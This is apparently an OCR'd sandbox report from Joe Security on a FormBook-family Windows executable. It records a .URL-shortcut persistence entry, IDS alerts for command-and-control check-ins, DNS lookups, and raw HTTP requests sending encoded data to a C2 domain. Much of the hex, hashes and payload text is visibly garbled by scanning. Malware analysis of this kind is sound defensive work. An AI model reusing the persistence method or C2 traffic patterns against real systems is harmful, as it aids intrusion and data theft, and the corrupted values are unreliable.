MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\user\\Contacts\\Hyrzbcwcas.exe">), ASCII text, with CRLF line terminators
modified

100

4.936405505932685

false

3:HRAbABGQYmMTWAX+T+Bf5rieBEWmvsGKd/WIK:HRYFVmMTWDOpzVWmvsb/W9IK

6E338427109AB2D376E62A8EE9E69477

3D91FEEDFAC3C367E31ACB301AB3A3F2A116042A
FOE3D569335854ED6FE1COAB38E28330D6E4E1882591289F2B040CAC6A1CD1A7

E5455CDC60BC43D3A332E95883DBB646BAF1E9BOSAF8063A90BB1CO9BBD6DE01880AFDAFEA28CF5788CF447065374E7F70E40A2A6C1694CDABC25E7E7595A1+4
07

false

* Rule: Methodology_Shortcut_HotKey, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\user\Contacts\sacwcbzryH.url, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source:
C:\Users\user\Contacts\sacwcbzryH.url, Author: @itsreallynick (Nick Carr)

unknown

[InternetShortcut].. URL=file:"C:\\Users\\user\\Contacts\\Hyrzbcwcas.exe"..Iconindex=71..HotKey=37..

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

PE32 executable (GUI) Intel 80386, for MS Windows
6.9359553859707095

e Win32 Executable (generic) a (10002005/4)
99.38%

e InstallShield setup (43055/19) 0.43%

e Windows Screen Saver (13104/52) 0.13%

e Win16/32 Executable Delphi generic (2074/23)
0.02%

e Generic Win/DOS Executable (2004/3) 0.02%

WZ454554.exe

807424

58b39c2620cddal3d3fa6al25f476fcof
5d2672c¢79e9dffb2cdeee0d00e406c03c762985¢

fdf39d043cc55d6a72b1fe01c9067bb7591d5¢379798499
148521e6158afeeal

98e5dd2734fd7ac0515e834f0afc817de1135503¢493c30
37f6f1e60c070e24e2f34c53ed08a215affd2f3add1e79cc
0e6559c9a02c4431b40c2c6bla89a522f

24576:0tXZPH7fBQJyk/0fHvmd8MKTD9/J+fyAB5:KV88
5T5m

edeea286adb4bcba

Static PE Info
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General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address

text 0x1000

.itext 0x78000

.data 0x7a000

.bss 0x80000
.idata 0x84000
tls 0x87000
.rdata 0x88000
.reloc 0x89000

.rsrc 0x91000

Resources

Imports

Version Infos

Possible Origin

Language of compilation system

English

Copyright Joe Security LLC 2022

Virtual Size

0x76bf8

0x1448

0x58b0

0x3b9c

0x2b0e

0x34

0x18

0x76b8

0x3cc00

Raw Size

0x76c00

0x1600

0x5a00

0x0

0x2c00

0x0

0x200

0x7800

0x3cc00

0x4793d4
.itext
false

0x400000

windows gui

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO,
EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

O0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]

o~ O & O »

030d446cabf252026c031abcf4f0ab07

Xored PE ZLIB Complexity
False 0.525567434211
False 0.510653409091
False 0.634635416667
False 0

False 0.311257102273
False 0

False 0.05078125

False 0.627376302083
False 0.431238747428

File Type

data

data

data

empty

data

empty

data

data

data

Country where language is spoken

United States

Entropy
6.60247687013

5.75400115895

6.11695147571

0.0

5.00399365969

0.0

0.210826267787

6.67138909841

6.86350480663

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

Map
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Language of compilation system Country where language is spoken Map

Russian Russia

Network Behavior

Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/13/22- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.2.3 34.102.136.180
20:23:52.812988

01/13/22- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.2.3 34.102.136.180
20:23:52.812988

01/13/22- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.2.3 34.102.136.180
20:23:52.812988

01/13/22- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49817 34.102.136.180 192.168.2.3
20:23:52.928047

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 13, 2022 20:22:17.405059099 CET 192.168.2.3 8.8.8.8 0xd5a9 Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Jan 13, 2022 20:22:45.879775047 CET 192.168.2.3 8.8.8.8 Oxdéce Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Jan 13, 2022 20:22:55.894634008 CET 192.168.2.3 8.8.8.8 0x3a3f Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Jan 13, 2022 20:23:52.752675056 CET 192.168.2.3 8.8.8.8 Ox7ebe Standard query  www.sentlo A (IP address) IN (0x0001)
(0) gisticsja.com

Jan 13, 2022 20:24:13.213082075 CET 192.168.2.3 8.8.8.8 0x54d0 Standard query  www.senera A (IP address) IN (0x0001)
0) nts.tech

Jan 13, 2022 20:24:15.312231064 CET 192.168.2.3 8.8.8.8 0x83c4 Standard query  www.senera A (IP address) IN (0x0001)
(0) nts.tech

Jan 13, 2022 20:24:15.384635925 CET 192.168.2.3 8.8.8.8 0x79d3 Standard query  www.senera A (IP address) IN (0x0001)
(0) nts.tech

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 13, 2022 8.8.8.8 192.168.2.3 0xd5a9 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)

20:22:17.427440882 dapp.com

CET

Jan 13, 2022 8.8.8.8 192.168.2.3 0xd5a9 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)

20:22:17.427440882 dapp.com

CET

Jan 13, 2022 8.8.8.8 192.168.2.3 0xd5a9 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)

20:22:17.427440882 dapp.com

CET

Jan 13, 2022 8.8.8.8 192.168.2.3 0xd5a9 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)

20:22:17.427440882 dapp.com

CET

Jan 13, 2022 8.8.8.8 192.168.2.3 0xd5a9 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)

20:22:17.427440882 dapp.com

CET
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Timestamp

Jan 13, 2022
20:22:45.899193048
CET

Jan 13, 2022
20:22:45.899193048
CET

Jan 13, 2022
20:22:45.899193048
CET

Jan 13, 2022
20:22:45.899193048
CET

Jan 13, 2022
20:22:45.899193048
CET

Jan 13, 2022
20:22:55.914685011
CET

Jan 13, 2022
20:22:55.914685011
CET

Jan 13, 2022
20:22:55.914685011
CET

Jan 13, 2022
20:22:55.914685011
CET

Jan 13, 2022
20:22:55.914685011
CET

Jan 13, 2022
20:23:52.776423931
CET

Jan 13, 2022
20:23:52.776423931
CET

Jan 13, 2022
20:24:13.288265944
CET

Jan 13, 2022
20:24:15.380373001
CET

Jan 13, 2022
20:24:15.420062065
CET

HTTP Request Dependency Graph

e cdn.discordapp.com

e www.sentlogisticsja.com

HTTP Packets

Session ID
0

Timestamp

Session ID
1

Timestamp

Session ID

2

Source IP Dest IP Trans ID Reply Code Name CName Address
8.8.8.8 192.168.2.3 Oxd6ce No error (0) cdn.discor 162.159.130.233
dapp.com
8.8.8.8 192.168.2.3 Oxd6ce No error (0) cdn.discor 162.159.129.233
dapp.com
8.8.8.8 192.168.2.3 Oxd6ce No error (0) cdn.discor 162.159.134.233
dapp.com
8.8.8.8 192.168.2.3 Oxd6ce No error (0) cdn.discor 162.159.133.233
dapp.com
8.8.8.8 192.168.2.3 Oxd6ce No error (0) cdn.discor 162.159.135.233
dapp.com
8.8.8.8 192.168.2.3 0x3a3f No error (0) cdn.discor 162.159.135.233
dapp.com
8.8.8.8 192.168.2.3 0x3a3f No error (0) cdn.discor 162.159.129.233
dapp.com
8.8.8.8 192.168.2.3 0x3a3f No error (0) cdn.discor 162.159.133.233
dapp.com
8.8.8.8 192.168.2.3 0x3a3f No error (0) cdn.discor 162.159.134.233
dapp.com
8.8.8.8 192.168.2.3 0x3a3f No error (0) cdn.discor 162.159.130.233
dapp.com
8.8.8.8 192.168.2.3 Ox7ebe No error (0) www.sentlo sentlogisticsja.com
gisticsja.com
8.8.8.8 192.168.2.3 Ox7ebe No error (0) sentlogist 34.102.136.180
icsja.com
8.8.8.8 192.168.2.3 0x54d0 Server failure (2) www.senera none none
nts.tech
8.8.8.8 192.168.2.3 0x83c4 Server failure (2) www.senera none none
nts.tech
8.8.8.8 192.168.2.3 0x79d3 Server failure (2) www.senera none none
nts.tech
Source IP Source Port Destination IP Destination Port Process
192.168.2.3 49746 162.159.130.233 443 C:\Users\user\Desktop\WZ454554.exe
kBytes
transferred Direction Data
Source IP Source Port Destination IP Destination Port Process
192.168.2.3 49747 162.159.130.233 443 C:\Users\user\Desktop\WZ454554.exe
kBytes
transferred Direction Data
Source IP Source Port Destination IP Destination Port Process
192.168.2.3 49750 162.159.130.233 443 C:\Users\user\Desktop\WZ454554.exe

Copyright Joe Security LLC 2022

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Session ID

3

Timestamp

Session ID

4

Timestamp

Jan 13, 2022
20:23:52.812988043 CET

Jan 13, 2022
20:23:52.928046942 CET

Session ID
5

Timestamp

Jan 13, 2022
20:23:55.002516031 CET

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

13794

13795

Source IP
192.168.2.3

kBytes
transferred

13804

Copyright Joe Security LLC 2022

Direction

Source Port

49751

Direction

Source Port

49817

Direction

ouT

Source Port
49819

Direction
ouT

Data

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\Contacts\Hyrzbcwcas.exe

Data

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /m9g2/?xXV=6I9PRhy0D4S&GVvW=sz5ErymDSipal2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2KiLBKARdoGEt
cQCocu9tS HTTP/1.1

Host: www.sentlogisticsja.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 13 Jan 2022 19:23:52 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6192576d-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e Oa 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process
34.102.136.180 80 C:\Windows\explorer.exe

Data

POST /m9g2/ HTTP/1.1

Host: www.sentlogisticsja.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.sentlogisticsja.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.sentlogisticsja.com/m9g2/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 47 76 57 3d 6b 52 31 2d 31 57 32 49 66 69 6b 71 56 31 57 2d 65 70 48 42 74 33 28 62 72 55 7a 4b 55 37 33
735555 72 5a 7a 31 55 56 52 74 43 71 61 41 53 53 76 4c 49 55 4f 46 51 61 65 42 4e 34 4d 68 41 52 73 4f 41 4e 32 5a
52 39 72 4c 6a 76 46 4f 65 52 46 6a 6b 6a 32 5f 78 41 44 55 76 5f 67 61 55 64 54 64 53 59 47 77 28 45 41 42 54 74 71 33
73 61 48 7a 5a 54 36 72 5a 53 47 39 4f 6f 6e 51 71 68 52 73 7e 70 63 52 32 34 57 62 6b 79 70 30 32 75 31 4a 4b 49 48 3
2477549 6d 5a 42 45 49 42 74 61 79 54 46 49 6a 33 63 31 39 44 6a 6¢ 72 69 58 6e 45 52 30 61 62 48 7a 61 32 4a 42
79 74 59 6b 4b 6a 50 4c 66 5a 50 74 35 68 79 6a 51 47 32 62 32 64 61 66 6f 49 51 65 4a 4c 59 4e 28 71 59 6b 47 6a 77
3549 54 4c 4d 51 6f 68 35 4d 77 72 4e 42 63 6b 72 6d 49 34 4c 4e 6¢ 7e 59 6e 59 6d 34 6¢ 7a 58 43 6e 37 38 4b 28 36
54 5a 49 30 76 32 5a 74 47 5a 70 67 72 2d 32 38 57 6a 77 61 77 68 50 35 6¢ 4e 45 6f 42 6b 36 50 4c 78 66 6¢ 62 49 37
4238 7339 2d 63 6e 51 77 32 53 69 4f 64 59 46 77 28 45 4c 4e 48 75 57 51 45 34 62 69 4d 5a 46 77 54 7a 52 73 4f 52 73
7576 4a 28 7a 78 46 4d 48 64 37 34 75 39 6¢ 6¢ 32 4f 66 71 44 59 78 4b 64 57 51 45 68 30 4a 6e 42 4a 63 69 70 4e 4f 78
374d 412871 4142497876 76 72 49 6b 4e 6¢ 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: GVW=kR1-1W2IfikqV1W-epHBt3(bruzKU73sUUrZz1UVRtCqaASSVLIUOFQaeBN4MhARSOAN2ZRIrL
jVFOeRFjkj2_xADUv_gaudTdSYGw(EABTtq3saHzZT6rZSG900nQghRs~pcR24Wbkyp02ulJKIH2GulmZBEIBtay TF
1j3c19DjIriXnER0abHza2JBytYkKjPLfZPt5hyjQG2b2dafol QeJLYN(qYKGjw5I TLMQoh5MwrNBckrmI4LNI~YnYm4IzXCn78K
(6TZI0v2ZtGZpgr-28WjwawhP5INEoBk6PLxflbl7J8s9-cnQw2SiOdY Fw(ELNHUWQE4biMZFwTzRsORsuvJ(zxFMH
d74u9l120fqDYxKdWQEh0JINBJICipNOX7MA(gABIXwrIkNIQ).
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kBytes
Timestamp transferred

Jan 13, 2022 13959
20:23:55.118797064 CET

Session ID Source IP
6 192.168.2.3

kBytes
Timestamp transferred
Jan 13, 2022 13818

20:23:55.024300098 CET

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49820

Direction

ouT

Data

HTTP/1.1 405 Not Allowed

Server: openresty

Date: Thu, 13 Jan 2022 19:23:55 GMT

Content-Type: text/html

Content-Length: 154

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJBAIRmMzcpTevQakWn6dJuX/N/HxI7YxbOwy8+73ijqYSQ
EN+WGxrruAKtZtliWC86+ewQ0OmsW1W8psOFL/b00zZWqsCAWEAAQ_Q9ZUYZ08/a7e5BdDlvazwJlJtx0FbiRvpYdiZ7D
/aCsoMoi5gB+aQaBHkMGmMhT3JB5UzIsiLB6/R1RX40qybO9y

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

POST /m9g2/ HTTP/1.1

Host: www.sentlogisticsja.com

Connection: close

Content-Length: 149769

Cache-Control: no-cache

Origin: http://www.sentlogisticsja.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.sentlogisticsja.com/m9g2/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 47 76 57 3d 6b 52 31 2d 31 57 43 36 50 43 78 73 52 48 79 37 66 35 58 5a 6e 58 4f 43 36 46 54 56 64 49 6e 53
4f 44 61 65 7a 30 6b 52 65 4f 4b 43 51 41 69 53 6e 70 52 64 44 46 51 5a 59 42 4e 5f 61 52 63 74 79 73 51 37 32 64 68 48
72 4c 62 7350 76 75 51 46 7a 6¢ 72 32 66 39 38 46 55 37 76 67 63 55 34 53 34 43 2d 4e 51 37 45 5a 78 37 72 76 6b 6b
52 47 32 70 51 34 62 46 58 45 39 57 78 6e 6a 76 42 53 4a 7e 4c 62 51 61 2d 52 74 6b 44 6d 58 28 78 78 65 75 4d 4a 47
36 74 48 46 6¢ 53 4b 4c 6¢ 70 66 33 7a 37 55 78 66 66 72 39 72 6¢ 67 73 48 71 6a 32 39 6e 59 4c 33 4261 33 4d 3871 4
€ 7836 59 51 37 54 51 49 44 58 32 30 57 6¢ 63 56 4f 54 79 66 43 69 71 4c 49 68 4c 4f 6b 53 37 36 46 6b 46 68 59 70 4d
33 6e 6e 57 5a 74 39 5a 53 44 44 41 76 49 6a 7e 34 6f 30 45 48 65 31 74 73 72 33 78 51 37 57 70 37 38 68 7a 61 54 56
51 32 33 4f 4f 36 65 43 6f 67 61 5a 71 2d 33 35 36 70 45 6¢ 4f 4e 5a 56 42 4c 52 6¢ 34 66 58 74 51 30 72 77 78 61 51 6¢C
37 63 41 44 55 77 32 50 6d 4e 31 54 46 77 7e 39 4c 50 75 35 58 68 67 34 62 7a 74 44 49 7a 4c 4a 41 38 4f 51 70 2d 28
4c 6d 77 5a 56 4d 48 46 37 35 62 59 74 33 56 65 66 74 56 63 79 4a 35 43 51 58 42 30 4a 71 68 4a 43 79 4a 67 34 7a 34
63 32 74 4b 67 52 66 47 65 6f 71 70 42 37 6e 47 67 4e 54 35 44 53 5a 47 52 4f 74 61 4f 79 74 44 41 6d 53 50 71 64 68 65
75 44 4f 46 59 39 49 59 79 48 45 65 4b 2d 7e 73 7e 6a 59 33 4a 5f 48 64 62 68 6e 61 74 45 75 32 59 64 53 5a 47 79 6e
4e 35 55 76 4a 6a 48 4e 78 42 54 45 48 72 71 63 73 68 61 75 42 6d 6e 59 74 4a 73 45 4e 49 2d 64 45 6e 2d 69 6f 32 55
4f 47 4b 65 32 42 4b 52 44 32 37 35 33 78 44 53 71 7a 28 51 45 56 69 32 32 41 78 66 4b 4e 79 6b 4d 66 41 78 4d 41 77
78 7a 34 58 49 63 6d 42 53 39 69 32 4d 28 5a 65 66 35 2d 75 43 39 4c 63 4d 6¢ 6e 39 39 77 2d 31 4f 52 4c 47 65 56 6¢
4377 47 32 34 5a 66 6¢ 56 32 69 55 4e 34 6¢ 59 75 65 58 70 72 77 6b 47 49 56 42 6e 4f 52 47 34 50 51 62 49 41 74 4d
4f 48 74 5a 41 62 75 77 38 34 46 55 67 64 59 66 31 6d 32 48 38 65 5f 37 56 78 79 70 36 63 4b 41 44 65 4d 61 37 70 61
4532 4e 7568 7530 77 77 4e 30 7a 4c 74 51 2d 42 6a 62 41 4b 70 73 45 4f 43 48 73 70 76 77 43 79 66 47 74 4a 39 75 6
15756 30 77 51 4e 51 59 39 46 6a 61 43 43 51 4b 46 5a 72 6f 6f 31 41 4a 36 75 76 46 38 48 58 76 78 41 67 53 68 51 39
63 71 55 31 52 59 6f 73 38 68 63 7e 4f 51 6e 63 4f 76 44 4f 46 6f 6f 74 53 28 7a 5a 4d 64 42 78 30 57 2d 56 69 4c 78 37 5
16958635846 63 48 56 63 44 72 41 42 66 50 76 4a 53 43 58 39 6a 47 32 53 56 4d 58 71 66 4c 61 63 47 44 6d 6a 4c 74
70 7a 65 32 63 59 52 71 6f 70 31 41 6a 68 66 63 79 69 5f 70 55 4c 4¢ 58 76 44 66 63 38 43 61 62 57 47 66 65 58 4e 75 4c
38 7534 3242 35 78 6d 62 54 7a 6f 7a 6d 64 75 65 31 6a 70 49 74 51 56 4a 56 42 35 31 65 51 49 41 6¢ 71 42 6d 7a 6¢
69 6b 42 70 45 52 7e 73 37 37 66 32 63 67 6d 39 68 61 65 49 4d 49 53 48 51 48 67 5a 63 69 65 73 34 33 69 46 6f 59 5a
66 4a 58 72 38 35 6¢ 33 6d 4f 78 69 71 63 45 4f 4a 53 30 64 54 39 65 7a 5f 49 5f 75 31 64 6f 33 53 4¢ 50 39 51 6d 71 51
79 4d 44 4e 46 38 30 32 73 48 56 74 50 48 48 69 6a 37 79 57 79 72 6b 73 71 31 39 39 4b 49 33 5a 4d 6b 71 70 30 38 71
62 30 72 78 54 64 53 4a 7a 5f 7a 43 77 39 75 62 74 6d 5a 39 56 30 42 56 79 72 32 65 4e 71 36 49 6d 77 73 51 74 67 4f
44 58 49 66 53 36 41 6f 68 43 4f 56 4a 6f 61 32 71 34 4e 6f 45 78 36 50 65 6b 77 31 59 5a 71 77 70 69 64 66 63 49 5f 6e
55 66 74 47 70 4d 41 39 41 49 65 31 54 6b 33 30 6b 4d 59 38 47 76 73 68 58 55 6d 4f 6d 72 39 71 52 6¢ 5f 62 42 74 65
67 73 57 6d 39 30 4f 69 51 35 54 43 74 37 74 61 31 5f 31 69 41 73 36 45 30 33 65 64 6¢ 73 52 6e 47 79 31 54 31 4d 7a 6f
7169 44 46 58 79 58 47 36 61 34 57 58 33 68 5a 4c 77 52 73 53 48 59 44 64 59 7e 4a 55 67 5a 6d 43 68 44 4f 43 2d 73
41 6b 6f 4f 57 6¢ 64 33 2d 37 41 38 6d 4b 77 6¢ 42 72 66 6f 68 7e 4c 53 45 71 6d 31 42 48 39 4e 6a 50 38 79 47 75 73 42
59 6e 6a 55 30 31 77 53 36 4c 4c 7a 72 46 56 79 42 47 6e 77 4e 38 64 6f 67 4a 4d 4c 56 33 4e 4f 4b 71 77 78 52 31 72 6d
75 43 5f 30 2d 56 65 76 77 32 74 75 69 49 63 5a 70 7e 36 54 6f 4d 35 73 61 6e 52 62 6f 35 66 77 64 66 34 38 34 76 55 39
3143307173 46 58 4b 32 75 64 32 34 68 2d 44 32 4f 76 4d 7a 65 4e 4e 34 69

Data Ascii: GVWW=kKR1-1WC6PCxsRHy7f5XZnXOC6FTVdInSODaez0OkReOKCQAiISnpRADFQZYBN_aRctysQ72dhHrL
bsPvuQFzIr2f98FU7vgcU4S4C-NQ7EZx7rvkkRG2pQ4bFXE9WxnjvBSJ~LbQa-RtkDmX (xxeuMJG6tHFISKLIpf3z7
UxffrorlgsHagj29nYL3Ba3M8qLx6YQ7TQIDX20WIcVOTyfCigLIhLOkS76FkFhYpM3nnWZt9ZSDDAVIj~400EHelts
r3xQ7Wp78hzaTVQ23006eCogaZg-356pEIONZVBLRI4fXtQOrwxaQl7cADUW2PmMN1TFw~9LPu5Xhg4bztDIzLIABOQp-
(LmwZVMHF75bYt3VeftVcyJ5CQXB0JghJCyJgdz4c2tKgZfGeoqpB7nGgNT5DSZGROtaOytDAMSPqdheuDOFY9lY
yHEeK-~s~jY3J_HdbhnatEu2YdSZGynN5UVvJjHNXBTEHrgcshauBmnYtJSENI-dEn-io2UOGKe2BKRD2753xDSqz(Q
EVi22AxfKNykMfAXMAwxz4XIcmBS9i2M(Zef5-uCILcMIN99w-10RLGeVICWG24ZfIV2iUN4IY ueXprwkGIVBNnORG4
PQbIAtMOHtZAbuw84FUgdYflm2H8e_7Vxyp6cKADeMa7paE2NuhuOwwNOzLtQ-BjbAKpsEOCHspvwCyfGtJ9uaWVow
QNQY9FjaCCQKFZrool1lAJ6uvF8HXvxAgShQ9cqU1RY0s8hc~OQncOvDOF00tS(zZMdBXOW-ViLx7QiXcXFcHVcDrABf
PvJSCX9jG2SVMXqgfLacGDmjLtpze2cYRqoplAjhfcyi_pULLXvDfc8CabWGfeXNulL8u42B5xmbTzozmdueljpltQVJ
VB51eQIAlgBmzlikBpER~s77f2cgm9haelMISHQHgZcies43iFoYZfIXr8513mOxiqcEOJS0dT9ez_|_uldo3SLP9Q
mgQyMDNF802sHVtPHHij7yWyrksq199KI3ZMkgp08gb0rxTdSJz_zCw9ubtmZ9VOBVyr2eNg6imwsQtgODXIfS6Aoh
COVJoa2g4NoEx6PekwlYZqgwpidfcl_nUftGpMA9AIe1Tk30kMY8GvshXUmOmragRI_bBtegsWm900iQ5TCt7tal_1li
As6E03edIsRnGy1T1MzoqiDFXyXG6a4WX3hZLwRsSHYDdY~JUgZmChDOC-sAkoOWId3-7A8mKwIBrfoh~LSEgqm1BH9
NjP8yGusBYnju01wS6LLzrFVyBGnwN8dogJMLV3NOKgwxR1rmuC_0-Vevw2tuilcZp~6ToM5sanRbo5fwdf484vU91

CNAcEXK 211d24h-N200WM7aNINANtR 717X A/kmRKRAh7NGARN7I eamENNTIR InnAECRINNQZNRFIZHK Al ICNaTIIRRSI NA
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kBytes
Timestamp transferred
Jan 13, 2022 13960

20:23:55.142203093 CET

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.3
kBytes

Timestamp transferred

2022-01-13 19:22:17 UTC 0

2022-01-13 19:22:17 UTC 0

Copyright Joe Security LLC 2022

Direction

Source Port
49746

Direction
ouT

Tt S N A T 1 e VY Y NTE Y I NS M Y I AR | A AT § i 1 N IOU T 1 M A i U 1 AT S 1 A A A

ID7J08~pWOQ4TNUptdK1htPXrNx-ON(8PtoKgbrr9_yjowcMYniPMIWmHxVac034MIIiVSNhRUWACtWbnsTTybW2Pe
?@F&Ssk_vEbgAbeyconQGnHbMPL5RF2FEW5K_3x85fb(5xDUstcOmOrWsSAc~8mAXT6-QajZTSRquDJIZXDejWO
jBa3T1nsNCNHehfP~2zhljagufb_rHOzJv8S57xN9Fppxnpyfdx0UXuTIGoz3B6l0aNPVN6FoKWnNfLSyF8zgAYwxb0
8U0gN10zuUEFn1gUhsqlR6gNknebKhLDWctLwibOauU7y6ltvMw_DLkvFj52v75HPisledY96iemjEpHARASf5XBVT
guT3qvQ-J_IzDRrvxeKkiefbPXA51qgbHC1KXbAaBAzT 7bIBAfs6yOXJfiN3ImIHFpF8RE6Loe6DsNox2XDFrYa6fu
Y25G~EjgpWPJelJoFI(ROugxymA4JgpMhHWY|DA78n5mspds6A770sdQbiyGcHEIV8GS2LrKTy4vD63BoxhgXjllvl
gnagxrWnqgjsnspanxZw(uSMsRnNNIE8xToRYWmnOq7S93RARNP3xN5y7ptBvAYUe~RSNtdcyZwfZsHWHXyijlfz3EIp
7GPKVI~AS88GztauQS2XfKvOq8sL73JAQDQNF57JttHyWfV_ZTKLjaN8E2kD~YU-U4COqUAhibMyG6CQWgADDJ10HG
